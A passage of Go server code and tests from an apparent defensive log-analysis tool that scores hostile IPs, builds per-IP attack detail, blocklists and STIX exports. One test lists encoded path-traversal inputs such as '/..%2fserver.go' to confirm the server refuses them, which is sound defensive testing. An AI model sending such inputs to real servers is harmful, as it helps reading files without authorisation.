}
if host == self {
return true, false, "", true
}
if s.opt.Hub == nil || !s.opt.Hub.Has(host) {
writeJSON(w, http.StatusNotFound, map[string]string{"error": "unknown host"})
return false, false, "", false
}
return false, true, host, true
}
// userSlot admits one more user-side study (503 with Retry-After when four run).
func (s *Server) userSlot(w http.ResponseWriter) bool {
select {
case s.user <- struct{}{}:
return true
default:
w.Header().Set("Retry-After", "5")
writeJSON(w, http.StatusServiceUnavailable, map[string]string{"error": "busy"})
return false
}
}
// periodAPI: GET /api/v1/period (local, merged with the peers' studies)
func (s *Server) periodAPI(w http.ResponseWriter, r *http.Request) {
eq, ok := s.eventFilter(w, r, 24*time.Hour)
if !ok {
return
}
if !s.userSlot(w) {
return
}
defer func() { <-s.user }()
pq := store.PeriodQuery{From: eq.From, To: eq.To, IP: eq.IP, Cat: eq.Cat, Fam: eq.Fam}
if v := r.URL.Query().Get("gap"); v != "" {
n, err := strconv.ParseInt(v, 10, 64)
if err != nil || n < 60 || n > 86400 {
badRequest(w, "gap must be 60..86400 seconds")
return
}
pq.Gap = n
}
local, peers, only, ok := s.studyHosts(w, eq.Host)
if !ok {
return
}
var parts []store.PeriodOut
var studies map[string]store.PeerStudy
if peers {
studies = s.opt.Hub.StudiesFor(r.Context(), pq, only)
}
if local || len(studies) == 0 {
lq := pq
switch {
case !local: // a peer that did not answer: what was relayed from it to this hub
lq.Host = only
case s.opt.Hub != nil:
lq.Host = s.opt.Store.Name() // events relayed from peers are theirs: no double counting
}
parts = append(parts, s.opt.Store.Period(lq))
}
for _, p := range s.opt.Hub.PeerNames() {
if st, ok := studies[p]; ok {
parts = append(parts, st.Period)
}
}
out := store.MergePeriods(parts)
rg, _ := s.opt.Store.ResolveRange(r.URL.Query().Get("range"), r.URL.Query().Get("from"), r.URL.Query().Get("to"))
out.Range = rg.Info(s.opt.Now().Unix())
if len(parts) > 1 || peers {
out.EventsCursor = parts[0].EventsCursor
}
writeJSON(w, 200, out)
}
// metricsAPI: GET /api/v1/metrics?range=&host=
func (s *Server) metricsAPI(w http.ResponseWriter, r *http.Request) {
rg, ok := s.rangeOf(w, r)
if !ok {
return
}
local, peers, only, ok := s.studyHosts(w, r.URL.Query().Get("host"))
if !ok {
return
}
if !s.userSlot(w) {
return
}
defer func() { <-s.user }()
var parts []store.MetricsOut
var studies map[string]store.PeerStudy
if peers {
now := s.opt.Now().Unix()
from, to := rg.Bounds(now)
studies = s.opt.Hub.StudiesFor(r.Context(), store.PeriodQuery{From: from, To: to}, only)
}
if local || len(studies) == 0 {
parts = append(parts, s.opt.Store.Metrics(rg))
}
for _, p := range s.opt.Hub.PeerNames() {
if st, ok := studies[p]; ok {
parts = append(parts, st.Metrics)
}
}
out := store.MergeMetrics(parts)
out.Range = rg.Info(s.opt.Now().Unix())
writeJSON(w, 200, out)
}
// peerPeriod: GET /api/v1/peer/period, the study a hub merges; opened only by
// the peer token (and --peer-allow). At most two run at once.
func (s *Server) peerPeriod(w http.ResponseWriter, r *http.Request) {
if !s.peerGate(w, r) {
return
}
select {
case s.study <- struct{}{}:
defer func() { <-s.study }()
default:
w.Header().Set("Retry-After", "5")
writeJSON(w, http.StatusServiceUnavailable, map[string]string{"error": "busy"})
return
}
eq, ok := s.eventFilter(w, r, 24*time.Hour)
if !ok {
return
}
pq := store.PeriodQuery{From: eq.From, To: eq.To, Host: s.opt.Store.Name(), IP: eq.IP, Cat: eq.Cat, Fam: eq.Fam}
if v := r.URL.Query().Get("gap"); v != "" {
if n, err := strconv.ParseInt(v, 10, 64); err == nil && n >= 30 && n <= 86400 {
pq.Gap = n
}
}
writeJSON(w, 200, s.opt.Store.StudyFor(pq))
}
// listed reproduces the blocklist rule for one row.
func (s *Server) listed(x store.IPSummary) bool {
if x.Score < 50 || !x.Strong || x.Admin {
return false
}
addr, ok := blockAddr(x.IP)
return ok && core.IsGlobal(addr) && !core.Ignored(s.opt.Ignore, addr.String())
}
func linksFor(ip string) map[string]string {
a := ip
if p, err := netip.ParsePrefix(ip); err == nil {
a = p.Addr().String()
}
e := url.PathEscape(a)
return map[string]string{
"abuseipdb": "https://www.abuseipdb.com/check/" + e,
"greynoise": "https://viz.greynoise.io/ip/" + e,
"shodan": "https://www.shodan.io/host/" + e,
"censys": "https://search.censys.io/hosts/" + e,
"virustotal": "https://www.virustotal.com/gui/ip-address/" + e,
"bgphe": "https://bgp.he.net/ip/" + e,
"ripestat": "https://stat.ripe.net/" + e,
}
}
type countsOut = []store.Count
type exposureOut struct {
T int64 `json:"t"`
Host string `json:"host"`
Domain string `json:"domain"`
Path string `json:"path"`
Status int `json:"status"`
Bytes int64 `json:"bytes"`
Fam string `json:"fam"`
}
type ipDetailOut struct {
store.IPSummary
Hosts countsOut `json:"hosts"`
Domains countsOut `json:"domains"`
UAs countsOut `json:"uas"`
Admin bool `json:"admin"`
Range store.RangeInfo `json:"range"`
Verdict map[string]any `json:"verdict"`
Exposure []exposureOut `json:"exposure"`
Actions []intel.Action `json:"actions"`
Identity map[string]any `json:"identity"`
Geo map[string]any `json:"geo"`
Time map[string]any `json:"time"`
Cadence intel.Cadence `json:"cadence"`
Techniques []map[string]any `json:"techniques"`
Families []map[string]any `json:"families"`
Targets []map[string]any `json:"targets"`
Tools map[string]any `json:"tools"`
SSH map[string]any `json:"ssh"`
StatusHist map[string]uint32 `json:"status_hist"`
Timeline *store.IPTimeline `json:"timeline"`
TimelineSource string `json:"timeline_source"`
Statuses countsOut `json:"statuses"`
Methods countsOut `json:"methods"`
Paths countsOut `json:"paths"`
Users countsOut `json:"users"`
Sessions []intel.Session `json:"sessions"`
Escalation []intel.Step `json:"escalation"`
Related map[string]any `json:"related"`
Neighbors map[string]any `json:"neighbors"`
Bans []store.BanEvent `json:"bans"`
BanHistory []store.BanEvent `json:"ban_history"`
TTBs int64 `json:"ttb_s"`
Blocklisted bool `json:"blocklisted"`
Blocklist map[string]any `json:"blocklist"`
ScoreBreakdown map[string]float64 `json:"score_breakdown"`
StrongReasons []string `json:"strong_reasons"`
Links map[string]string `json:"links"`
Log map[string]any `json:"log"`
Events []map[string]any `json:"events"`
BansSource string `json:"bans_source"`
SessionsSource string `json:"sessions_source"`
EventsSource string `json:"events_source"`
TechniquesSource string `json:"techniques_source"`
FamiliesSource string `json:"families_source"`
SSHSource string `json:"ssh_source"`
}
func orEmpty[T any](l []T) []T {
if l == nil {
return []T{}
}
return l
}
func (s *Server) buildIPDetail(m store.IPSummary, key string, rg store.Range) ipDetailOut {
st := s.opt.Store
now := s.opt.Now().Unix()
from, to := rg.Bounds(now)
il := st.IPLogOf(key, from, to)
info, _ := st.IPInfoOf(key)
d := ipDetailOut{IPSummary: m, Range: rg.Info(now)}
d.Admin = m.Admin
d.Hosts, d.Domains, d.UAs = orEmpty(il.Hosts), orEmpty(il.Domains), orEmpty(il.UAs)
if len(il.Hosts) == 0 { // no registry: fall back to what the table keeps
for _, h := range m.Hosts {
d.Hosts = append(d.Hosts, store.Count{Key: h})
}
for _, x := range m.Domains {
d.Domains = append(d.Domains, store.Count{Key: x})
}
for _, x := range m.UAs {
d.UAs = append(d.UAs, store.Count{Key: x, Label: st.UALabel(x)})
}
}
d.TimelineSource = il.Source
d.Timeline, d.Statuses, d.Methods, d.Paths, d.Users = il.Timeline, orEmpty(il.Statuses), orEmpty(il.Methods), orEmpty(il.Paths), orEmpty(il.Users)
if len(il.Users) == 0 {
for _, u := range info.Users {
d.Users = append(d.Users, store.Count{Key: u.U, N: u.N})
}
}
d.Sessions, d.Escalation, d.Cadence = orEmpty(il.Sessions), orEmpty(il.Escalation), il.Cadence
d.Bans = activeBans(il.Bans, info, st.Name())
d.BanHistory = d.Bans
d.BansSource = "events"
if len(il.Bans) == 0 && len(d.Bans) > 0 {
d.BansSource = "counters"
}
d.SessionsSource, d.EventsSource, d.TechniquesSource, d.FamiliesSource, d.SSHSource = "events", "events", "events", "events", "events"
covered := il.Events > 0
if !covered {
// the registry has nothing for this address (it began after the events,
// or the data directory was replaced): derive from the record's counters
d.EventsSource = "counters"
d.Sessions = counterSessions(key, info, st.Name())
d.SessionsSource = "counters"
d.Events = counterEvents(info)
} else {
d.Events = []map[string]any{}
if page, err := st.QueryEvents(store.EventsQuery{From: from, To: to, IP: key, Desc: true, Limit: 50}); err == nil {
for _, raw := range page.Events {
var ev map[string]any
if json.Unmarshal(raw, &ev) == nil {
d.Events = append(d.Events, ev)
}
}
}
}
d.TTBs = info.TTB
d.ScoreBreakdown, d.StrongReasons = info.ScoreBreakdown, orEmpty(info.StrongReasons)
d.Links = linksFor(key)
var recorded uint32
for _, c := range []core.Category{core.Scanner, core.Exploit, core.BruteForce, core.SSHFail, core.SSHProbe, core.SSHOK, core.Ban} {
recorded += info.Counts[c.Index()]
}
d.Log = map[string]any{"available": il.Available, "events": il.Events, "truncated": il.Truncated, "sessions_n": il.SessionsN, "sessions_events": il.SessionsEv,
"partial": il.Events > 0 && float64(il.Events) < 0.9*float64(recorded)}
d.Blocklisted = s.listed(m)
bl := map[string]any{"listed": d.Blocklisted}
if d.Blocklisted {
bl["since"] = m.First
if info.ListedSince > 0 {
bl["since"] = info.ListedSince
}
}
d.Blocklist = bl
g := st.GeoOf(key)
rdns := m.RDNS
netType, netReason := intel.NetType(g.ASN, g.ASOrg, rdns)
if a, err := netip.ParseAddr(strings.SplitN(key, "/", 2)[0]); err == nil {
netType, netReason = intel.NetTypeIP(a, g.ASN, g.ASOrg, rdns)
}
prefix := ""
if a, err := netip.ParseAddr(key); err == nil {
bits := 24
if !a.Is4() {
bits = 48
}
if p, err := a.Prefix(bits); err == nil {
prefix = p.String()
}
}
var fcr any
uaKeys := make([]string, 0, len(d.UAs))
for _, u := range d.UAs {
uaKeys = append(uaKeys, u.Key)
}
if v := st.FCrDNS(key, uaKeys); v != nil {
fcr = *v
}
d.Identity = map[string]any{"rdns": rdns, "fcrdns_ok": fcr, "asn": g.ASN, "as_org": g.ASOrg, "net_type": netType, "net_type_reason": netReason, "prefix": prefix}
d.Geo = map[string]any{"cc": g.CC, "country": g.Country, "region": g.Region, "city": g.City, "approx": true}
// exposure
d.Exposure = []exposureOut{}
expo := map[string]int{}
for _, e := range info.Expo {
d.Exposure = append(d.Exposure, exposureOut{e.T, e.Host, e.Domain, e.Path, e.Status, e.Bytes, e.Fam})
if e.Fam != "" {
expo[e.Fam]++
}
}
// reasons and actions
refused := map[string]int{}
for _, f := range info.Fams {
if n := f.S[2] + f.S[3]; n > 0 {
refused[f.Fam] = int(n)
}
}
tool := ""
for _, u := range d.UAs {
if l := st.UALabel(u.Key); strings.HasSuffix(l, "(tool)") {
tool = l
break
}
}
cats := 0
for _, c := range []core.Category{core.Scanner, core.Exploit, core.BruteForce, core.SSHFail, core.SSHProbe} {
if m.Counts[string(c)] > 0 {
cats++
}
}
sshOK := m.Counts[string(core.SSHOK)] > 0 && m.Counts[string(core.SSHFail)] > 0
reasons := intel.Reasons(intel.ReasonInput{ExploitsRefused: refused, ToolUA: tool, BannedJails: m.Jails, Categories: cats,
Exposure: expo, SSHOKAfterBrute: sshOK, Admin: m.Admin})
stage := ""
for _, ss := range d.Sessions {
if intel.StageRank(ss.Stage) > intel.StageRank(stage) {
stage = ss.Stage
}
}
acts := intel.Actions(intel.ActionInput{Reasons: reasons, Banned: m.Banned, Admin: m.Admin, Stage: stage})
has := map[string]bool{}
for _, a := range acts {
has[a.Code] = true
}
top := ""
if len(reasons) > 0 {
top = reasons[0].Code
}
if !m.Admin {
if !has[intel.ActionReport] && intel.StageRank(stage) >= intel.StageRank(intel.StageProbe) {
switch netType {
case "hosting", "research-scanner", "isp-cn":
acts = append(acts, intel.Action{Code: intel.ActionReport, Priority: 4, Reason: top})
}
}
if !has[intel.ActionBlock] && m.Level == core.LevelHostile && !d.Blocklisted {
acts = append(acts, intel.Action{Code: intel.ActionBlock, Priority: 3, Reason: top})
}
if m.Level == core.LevelHostile {
if m.Banned {
acts = append(acts, intel.Action{Code: "keep_blocked", Priority: 5, Reason: top})
}
acts = append(acts, intel.Action{Code: "replay", Priority: 6, Reason: top})
}
}
d.Actions = orEmpty(acts)
d.Verdict = map[string]any{"level": m.Level, "score": m.Score, "strong": m.Strong, "admin": m.Admin, "reasons": orEmpty(reasons)}
// techniques, families, targets, tools, ssh, status
d.Techniques = []map[string]any{}
d.Families = []map[string]any{}
fams, techs := info.Fams, info.Techs
if len(fams) == 0 || len(techs) == 0 {
// a record saved before families and techniques were counted: read them from the samples
sf, stc := sampleDetail(info)
if len(fams) == 0 && len(sf) > 0 {
fams, d.FamiliesSource = sf, "samples"
}
if len(techs) == 0 && len(stc) > 0 {
techs, d.TechniquesSource = stc, "samples"
}
}
for _, t := range techs {
d.Techniques = append(d.Techniques, map[string]any{"id": t.ID, "name": intel.TechniqueName(t.ID), "n": t.N, "first": t.First, "last": t.Last})
}
for _, f := range fams {
d.Families = append(d.Families, map[string]any{"fam": f.Fam, "n": f.N,
"status": map[string]uint32{"2xx": f.S[0], "3xx": f.S[1], "4xx": f.S[2], "5xx": f.S[3]}, "examples": orEmpty(f.Ex)})
}
d.Targets = []map[string]any{}
tg := map[[2]string]int{}
for _, e := range il.Evs {
if e.Domain != "" {
tg[[2]string{e.Host, e.Domain}]++
}
}
for k, n := range tg {
d.Targets = append(d.Targets, map[string]any{"host": k[0], "domain": k[1], "service": "http", "n": n})
}
d.Targets = sortTargets(d.Targets)
labels := []string{}
uas := []string{}
for i, u := range d.UAs {
if i < 8 {
uas = append(uas, u.Key)
}
if l := st.UALabel(u.Key); l != "" && i < 8 {
labels = append(labels, l)
}
}
d.Tools = map[string]any{"uas": uas, "labels": labels, "forged": il.Forged, "rotation": len(il.UAs) > 3}
udist := []map[string]any{}
for _, u := range info.Users {
udist = append(udist, map[string]any{"user": u.U, "n": u.N, "first": u.First, "admin": st.IsAdminUser(u.U)})
}
if len(udist) == 0 && m.Counts[string(core.SSHFail)] > 0 {
// users were not counted for this record: the samples still name some
for _, sm := range info.Samples {
if u, ok := strings.CutPrefix(sm, "ssh user "); ok {
udist = append(udist, map[string]any{"user": u, "n": 0, "first": info.First, "admin": st.IsAdminUser(u)})
d.SSHSource = "samples"
}
}
}
d.SSH = map[string]any{"users": udist, "fails": m.Counts[string(core.SSHFail)], "ok_after_fail": sshOK}
d.StatusHist = map[string]uint32{"none": info.Status[0], "2xx": info.Status[1], "3xx": info.Status[2], "4xx": info.Status[3], "5xx": info.Status[4], "other": info.Status[5]}
sess, returning := len(d.Sessions), info.ActiveDays > 1
if il.Events > 0 {
sess = il.SessionsN
}
span := int((m.Last-m.First)/86400) + 1
ad := min(info.ActiveDays, span)
d.Time = map[string]any{"first": m.First, "last": m.Last, "active_days": ad, "span_days": span, "sessions_n": sess, "returning": returning, "estimated": info.Estimated}
// related
sub, asn, asnN := st.Neighbors(key, from, to)
d.Neighbors = map[string]any{"subnet": sub, "asn": asn, "asn_n": asnN}
same := []map[string]any{}
for _, n := range sub {
same = append(same, map[string]any{"ip": n.IP, "level": n.Level, "last": n.Last})
}
camps := []map[string]any{}
// campaigns of the window (cached study, window rounded to 5 minutes)
if st.EventLog() != nil {
pf, pt := from/3600*3600, (to+3599)/3600*3600 // hour-aligned: one study serves a whole hour of visits
for _, c := range st.PeriodSlow(store.PeriodQuery{From: pf, To: pt}).Campaigns {
for _, ip := range c.IPs {
if ip == key {
camps = append(camps, map[string]any{"id": c.ID, "ips_n": c.IPsN, "first": c.First, "last": c.Last, "techs": c.Techs, "signature": c.Signature})
break
}
}
}
}
d.Related = map[string]any{"same_prefix": same, "same_asn_n": asnN, "campaigns": camps}
return d
}
func sortTargets(l []map[string]any) []map[string]any {
for i := 1; i < len(l); i++ {
for j := i; j > 0 && l[j]["n"].(int) > l[j-1]["n"].(int); j-- {
l[j], l[j-1] = l[j-1], l[j]
}
}
if len(l) > 20 {
l = l[:20]
}
return l
}
// stixAPI: GET /api/v1/ip/{ip}/stix
func (s *Server) stixAPI(w http.ResponseWriter, r *http.Request) {
raw := r.PathValue("ip")
if _, ok := blockAddr(raw); !ok {
badRequest(w, "invalid ip")
return
}
key := store.KeyOf(raw)
d, ok := s.opt.Store.IP(key)
if !ok {
writeJSON(w, http.StatusNotFound, map[string]string{"error": "not found"})
return
}
info, _ := s.opt.Store.IPInfoOf(key)
var fams, techs []string
for _, f := range info.Fams {
fams = append(fams, f.Fam)
}
for _, t := range info.Techs {
techs = append(techs, t.ID)
}
n := 0
for _, c := range d.Counts {
n += int(c)
}
b, err := intel.STIXBundle(key, time.Unix(d.First, 0), time.Unix(d.Last, 0), n, fams, techs, "", s.opt.Now())
if err != nil {
badRequest(w, "cannot build the bundle")
return
}
w.Header().Set("Content-Type", "application/stix+json;version=2.1")
w.Header().Set("Content-Disposition", fmt.Sprintf(`attachment; filename="urutau-%s.stix.json"`, strings.NewReplacer(":", "_", "/", "_").Replace(key)))
w.Header().Set("Cache-Control", "no-store")
w.Write(b)
}
// activeBans marks the bans in force and makes sure an active ban is always
// listed, also when it began before the window or before the registry existed.
func activeBans(reg []store.BanEvent, info store.IPInfo, host string) []store.BanEvent {
out := append([]store.BanEvent{}, reg...)
for _, jail := range info.Jails {
last := -1
for i, b := range out {
if b.Jail == jail {
last = i
}
}
if last >= 0 && !out[last].Unban {
out[last].Active = true
continue
}
t := info.BanSince
if t == 0 {
t = info.Last
}
out = append(out, store.BanEvent{T: t, Jail: jail, Host: host, Active: true})
}
sort.SliceStable(out, func(i, j int) bool { return out[i].T < out[j].T })
return out
}
func stageOfCats(c [core.NumCats]uint16) string {
has := func(cat core.Category) bool { return c[cat.Index()] > 0 }
switch {
case has(core.Ban):
return intel.StageBanned
case has(core.SSHOK):
return intel.StageAccess
case has(core.Exploit):
return intel.StageExploit
case has(core.Scanner) || has(core.BruteForce) || has(core.SSHFail):
return intel.StageProbe
}
return intel.StageRecon
}
// counterSessions builds one session per active day from the per-day counters
// (used only when the registry has no events of the address).
func counterSessions(key string, info store.IPInfo, host string) []intel.Session {
out := []intel.Session{}
for k, row := range info.DayCats {
day := info.DayBase - int64(k)
var n int
cats := map[string]int{}
for ci, v := range row {
if v > 0 {
n += int(v)
cats[string(core.Categories[ci])] = int(v)
}
}
if n == 0 {
continue
}
start, end := day*86400, day*86400+86399
if info.First > start && info.First <= end {
start = info.First
}
if info.Last >= start && info.Last < end {
end = info.Last
}
out = append(out, intel.Session{ID: fmt.Sprintf("d-%d", day), IP: key, Start: time.Unix(start, 0).UTC(), End: time.Unix(end, 0).UTC(),
DurS: end - start, N: n, Cats: cats, Fams: map[string]int{}, Techs: []string{}, Hosts: []string{host}, Domains: orEmpty(info.Domains),
Stage: stageOfCats(row)})
}
sort.SliceStable(out, func(i, j int) bool { return out[i].Start.Before(out[j].Start) })
return out
}
// counterEvents summarises the record's events per category (what the
// registry cannot list for an address it does not cover).
func counterEvents(info store.IPInfo) []map[string]any {
out := []map[string]any{}
for i, n := range info.Counts {
if n > 0 {
out = append(out, map[string]any{"cat": string(core.Categories[i]), "n": n, "first": info.First, "last": info.Last})
}
}
return out
}
// sampleDetail derives families and techniques from the request samples kept
// in the record ("GET /path").
func sampleDetail(info store.IPInfo) ([]store.FamN, []store.TechN) {
var fams []store.FamN
techs := map[string]*store.TechN{}
for _, sm := range info.Samples {
_, path, ok := strings.Cut(sm, " ")
if !ok || !strings.HasPrefix(path, "/") {
continue
}
path, _, _ = strings.Cut(path, " [")
fam := intel.PathFamily(path)
if fam == "" {
continue
}
found := false
for i := range fams {
if fams[i].Fam == fam {
fams[i].N++
fams[i].Ex = append(fams[i].Ex, sm)
found = true
}
}
if !found {
fams = append(fams, store.FamN{Fam: fam, N: 1, Ex: []string{sm}})
}
for _, t := range intel.Techniques("scanner", fam, intel.TechCtx{Path: path}) {
if techs[t] == nil {
techs[t] = &store.TechN{ID: t, First: info.First, Last: info.Last}
}
techs[t].N++
}
}
var tl []store.TechN
for _, t := range techs {
tl = append(tl, *t)
}
sort.Slice(tl, func(i, j int) bool { return tl[i].ID < tl[j].ID })
return fams, tl
}
+273
View File
@@ -0,0 +1,273 @@
package server
import (
"bufio"
"context"
"encoding/json"
"net/http"
"net/http/httptest"
"strings"
"testing"
"time"
"git.lucasrguerra.dev.br/ciberfauna/urutau/internal/core"
"git.lucasrguerra.dev.br/ciberfauna/urutau/internal/fed"
"git.lucasrguerra.dev.br/ciberfauna/urutau/internal/store"
)
type fakeGeo struct{}
func (fakeGeo) Geo(ip string) core.GeoInfo {
switch {
case strings.HasPrefix(ip, "200.1.1."):
return core.GeoInfo{CC: "BR", Country: "Brazil", Region: "Pernambuco", City: "Recife", Lat: -8.05, Lon: -34.9, ASN: 64500, ASOrg: "Net A"}
case strings.HasPrefix(ip, "200.2.2."):
return core.GeoInfo{CC: "BR", Country: "Brazil", Region: "Sao Paulo", City: "Campinas"} // no coordinates
case strings.HasPrefix(ip, "200.3.3."):
return core.GeoInfo{CC: "BR", Country: "Brazil", City: "Nowhere"} // empty region
case strings.HasPrefix(ip, "9.9.9."):
return core.GeoInfo{CC: "US", Region: "Texas", City: "Austin", Lat: 30.2, Lon: -97.7}
}
return core.GeoInfo{}
}
func (fakeGeo) UA(string) core.UAInfo { return core.UAInfo{} }
func geoSetup(t *testing.T) (http.Handler, map[string]string) {
st := store.New(store.Config{Name: "oracle", Version: "t", Location: &store.Location{Lat: 1, Lon: 2, Label: "Home"}})
st.SetEnricher(fakeGeo{})
now := time.Now()
ing := func(ip string, c core.Category, n int, strong bool) {
for i := 0; i < n; i++ {
st.Ingest(core.Event{Time: now, IP: ip, Cat: c, Strong: strong, Source: "traefik", Method: "GET", Path: "/x"})
}
}
ing("200.1.1.1", core.Exploit, 8, true) // 64 points: hostile
ing("200.1.1.2", core.Scanner, 2, false)
ing("200.1.1.3", core.NotFound, 5, false) // not malicious: ignored
ing("200.2.2.2", core.Scanner, 5, false)
ing("200.3.3.3", core.BruteForce, 1, false)
ing("9.9.9.9", core.SSHFail, 3, false)
ing("8.8.8.8", core.Exploit, 1, false) // unknown geo: skipped
h := New(Options{Token: utok, PeerTokens: []string{ptok}, Version: "t", Store: st})
return h, map[string]string{"Authorization": "Bearer " + utok}
}
func getJSON(t *testing.T, h http.Handler, path string, hd map[string]string) map[string]any {
w := do(h, "GET", path, cloneHdr(hd), nil)
if w.Code != 200 {
t.Fatalf("%s: %d %s", path, w.Code, w.Body)
}
var m map[string]any
if err := json.Unmarshal(w.Body.Bytes(), &m); err != nil {
t.Fatal(err)
}
return m
}
func cloneHdr(h map[string]string) map[string]string {
o := map[string]string{}
for k, v := range h {
o[k] = v
}
return o
}
func TestGeoAggregation(t *testing.T) {
h, u := geoSetup(t)
m := getJSON(t, h, "/api/v1/geo?range=24h&host=all", u)
cs := m["countries"].([]any)
if m["range"] != "24h" || len(cs) != 2 {
t.Fatalf("%v", m)
}
br := cs[0].(map[string]any)
if br["cc"] != "BR" || br["events"].(float64) != 8+2+5+1 || br["ips"].(float64) != 4 || br["hostile"].(float64) != 1 {
t.Fatalf("BR %v", br)
}
if c := br["cats"].(map[string]any); c["exploit"].(float64) != 8 || c["scanner"].(float64) != 7 || c["notfound"] != nil {
t.Fatalf("cats %v", c)
}
if cs[1].(map[string]any)["cc"] != "US" {
t.Fatalf("order %v", cs)
}
d := getJSON(t, h, "/api/v1/geo?cc=BR", u)
if d["cc"] != "BR" || len(d["regions"].([]any)) != 3 || len(d["cities"].([]any)) != 3 || len(d["top_ips"].([]any)) != 4 {
t.Fatalf("detail %v", d)
}
top := d["top_ips"].([]any)[0].(map[string]any)
if top["ip"] != "200.1.1.1" || top["level"] != "hostile" || top["city"] != "Recife" || top["asn"].(float64) != 64500 {
t.Fatalf("top ip %v", top)
}
for _, c := range d["cities"].([]any) {
c := c.(map[string]any)
_, hasLat := c["lat"]
if (c["name"] == "Recife") != hasLat {
t.Fatalf("coordinates only for cities that have them: %v", c)
}
}
empty := false
for _, r := range d["regions"].([]any) {
empty = empty || r.(map[string]any)["name"] == ""
}
if !empty {
t.Fatal("empty region must be kept as an empty name")
}
r := getJSON(t, h, "/api/v1/geo?cc=BR&region=Pernambuco", u)
if r["events"].(float64) != 10 || len(r["cities"].([]any)) != 1 || len(r["top_ips"].([]any)) != 2 || r["ips"].(float64) != 2 || r["region"] != "Pernambuco" {
t.Fatalf("region %v", r)
}
if w := do(h, "GET", "/api/v1/geo?cc=br", cloneHdr(u), nil); w.Code != 400 {
t.Fatalf("lowercase cc: %d", w.Code)
}
if w := do(h, "GET", "/api/v1/geo?host=nope", cloneHdr(u), nil); w.Code != 404 {
t.Fatalf("unknown host: %d", w.Code)
}
if w := do(h, "GET", "/api/v1/geo", map[string]string{"Authorization": "Bearer " + ptok}, nil); w.Code != 403 {
t.Fatalf("peer token: %d", w.Code)
}
if w := do(h, "GET", "/api/v1/geo", nil, nil); w.Code != 401 {
t.Fatalf("anonymous: %d", w.Code)
}
}
func TestLocationOnSummaryAndRecent(t *testing.T) {
h, u := geoSetup(t)
m := getJSON(t, h, "/api/v1/summary", u)
loc := m["hosts"].([]any)[0].(map[string]any)["location"].(map[string]any)
if loc["lat"].(float64) != 1 || loc["label"] != "Home" {
t.Fatalf("%v", loc)
}
rc := getJSON(t, h, "/api/v1/live/recent?limit=3", u)["events"].([]any)
if len(rc) != 3 {
t.Fatalf("limit: %d", len(rc))
}
all := getJSON(t, h, "/api/v1/live/recent?limit=9999", u)["events"].([]any)
if len(all) != 8+2+5+1+3+1 {
t.Fatalf("only malicious events: %d", len(all))
}
var seenSrc bool
for _, e := range all {
e := e.(map[string]any)
if e["host"] != "oracle" || e["dst"].(map[string]any)["label"] != "Home" || e["cat"] == "notfound" {
t.Fatalf("event %v", e)
}
if s, ok := e["src"].(map[string]any); ok && e["ip"] == "200.1.1.1" {
seenSrc = s["cc"] == "BR" && s["city"] == "Recife"
}
if e["ip"] == "8.8.8.8" && e["src"] != nil {
t.Fatal("src omitted when unknown")
}
}
if !seenSrc {
t.Fatal("src missing")
}
}
func TestStaticAssetsWhitelist(t *testing.T) {
h, _ := setup(t)
if w := do(h, "GET", "/style.css", nil, nil); w.Code != 200 || !strings.HasPrefix(w.Header().Get("Content-Type"), "text/css") || w.Header().Get("Content-Security-Policy") == "" {
t.Fatalf("css %d %v", w.Code, w.Header())
}
if w := do(h, "GET", "/logo.png", nil, nil); w.Code != 200 || w.Header().Get("Content-Type") != "image/png" {
t.Fatalf("png %d", w.Code)
}
for _, p := range []string{"/index.html", "/login.html", "/missing.js", "/Style.css", "/web", "/..%2fserver.go", "/%2e%2e/go.mod", "/a.go", "/.js", "/app.js/", "/x/app.js"} {
if w := do(h, "GET", p, nil, nil); w.Code == 200 {
t.Errorf("%s must not be served (200)", p)
}
}
}
func TestPeerStreamIsPeerOnly(t *testing.T) {
old := sseHeartbeat
sseHeartbeat = 50 * time.Millisecond
defer func() { sseHeartbeat = old }()
h, _ := geoSetup(t)
if w := do(h, "GET", "/api/v1/peer/stream", map[string]string{"Authorization": "Bearer " + utok}, nil); w.Code != 401 {
t.Fatalf("user token: %d", w.Code)
}
if w := do(h, "GET", "/api/v1/peer/stream", nil, nil); w.Code != 401 {
t.Fatalf("anonymous: %d", w.Code)
}
for _, p := range []string{"/api/v1/events/stream"} {
if w := do(h, "GET", p, map[string]string{"Authorization": "Bearer " + ptok}, nil); w.Code != 403 {
t.Fatalf("peer token on %s: %d", p, w.Code)
}
}
h2 := New(Options{Token: utok, PeerAllow: mustPrefixes("203.0.113.0/24"), PeerTokens: []string{ptok}, Version: "t", Store: store.New(store.Config{Name: "x"})})
if w := do(h2, "GET", "/api/v1/peer/stream", map[string]string{"Authorization": "Bearer " + ptok}, nil); w.Code != 403 {
t.Fatalf("--peer-allow: %d", w.Code)
}
h3 := New(Options{Token: utok, Version: "t", Store: store.New(store.Config{Name: "x"})})
if w := do(h3, "GET", "/api/v1/peer/stream", map[string]string{"Authorization": "Bearer " + ptok}, nil); w.Code != 404 {
t.Fatalf("federation off: %d", w.Code)
}
st := store.New(store.Config{Name: "edge", Version: "t", Location: &store.Location{Lat: 3, Lon: 4, Label: "Edge"}})
st.SetEnricher(fakeGeo{})
ts := httptest.NewServer(New(Options{Token: utok, PeerTokens: []string{ptok}, Version: "t", Store: st}))
defer ts.Close()
req, _ := http.NewRequest("GET", ts.URL+"/api/v1/peer/stream", nil)
req.Header.Set("Authorization", "Bearer "+ptok)
resp, err := http.DefaultClient.Do(req)
if err != nil || resp.StatusCode != 200 {
t.Fatal(err, resp)
}
defer resp.Body.Close()
go func() {
time.Sleep(200 * time.Millisecond)
st.Ingest(core.Event{Time: time.Now(), IP: "200.1.1.9", Cat: core.OK, Source: "traefik"}) // not malicious, not sent
st.Ingest(core.Event{Time: time.Now(), IP: "200.1.1.9", Cat: core.Scanner, Source: "traefik", Method: "GET", Path: "/wp"})
}()
sc := bufio.NewScanner(resp.Body)
deadline := time.After(5 * time.Second)
got := make(chan string, 1)
go func() {
for sc.Scan() {
if strings.HasPrefix(sc.Text(), "data: ") {
got <- sc.Text()[6:]
return
}
}
got <- ""
}()
select {
case d := <-got:
var e map[string]any
if json.Unmarshal([]byte(d), &e) != nil || e["ip"] != "200.1.1.9" || e["cat"] != "scanner" || e["dst"].(map[string]any)["label"] != "Edge" || e["src"].(map[string]any)["cc"] != "BR" {
t.Fatalf("peer event %s", d)
}
case <-deadline:
t.Fatal("no event")
}
}
func TestPeerBlocklistOffUsesLocalOnly(t *testing.T) {
const ptk = "peer-secret-0123456789-abcdefghijklmnopqr"
strongHits := func(st *store.Store, ip string) {
for i := 0; i < 8; i++ {
st.Ingest(core.Event{Time: time.Now(), IP: ip, Cat: core.Exploit, Strong: true, Source: "traefik", Method: "GET", Path: "/x"})
}
}
